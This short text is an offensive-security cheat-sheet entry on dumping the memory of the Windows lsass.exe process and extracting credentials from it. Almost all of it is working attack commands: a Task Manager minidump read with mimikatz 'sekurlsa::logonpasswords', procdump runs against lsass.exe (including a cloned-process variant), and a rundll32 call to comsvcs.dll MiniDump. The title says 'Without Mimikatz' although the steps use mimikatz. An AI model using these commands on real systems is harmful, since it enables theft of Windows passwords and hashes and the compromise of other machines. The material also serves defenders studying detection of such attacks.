Dumping Lsass.exe to Disk Without Mimikatz and Extracting Credentials
Create a minidump of the lsass.exe using task manager (must be running as administrator):
Swtich mimikatz context to the minidump:
attacker@mimikatzsekurlsa::minidump C:\Users\ADMINI~1.OFF\AppData\Local\Temp\lsass.DMPsekurlsa::logonpasswords
Procdump from sysinternal's could also be used to dump the process:
attacker@victimprocdump.exe -accepteula -ma lsass.exe lsass.dmp​// or avoid reading lsass by dumping a cloned lsass processprocdump.exe -accepteula -r -ma lsass.exe lsass.dmp
Executing a native comsvcs.dll DLL found in Windows\system32 with rundll32:
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full
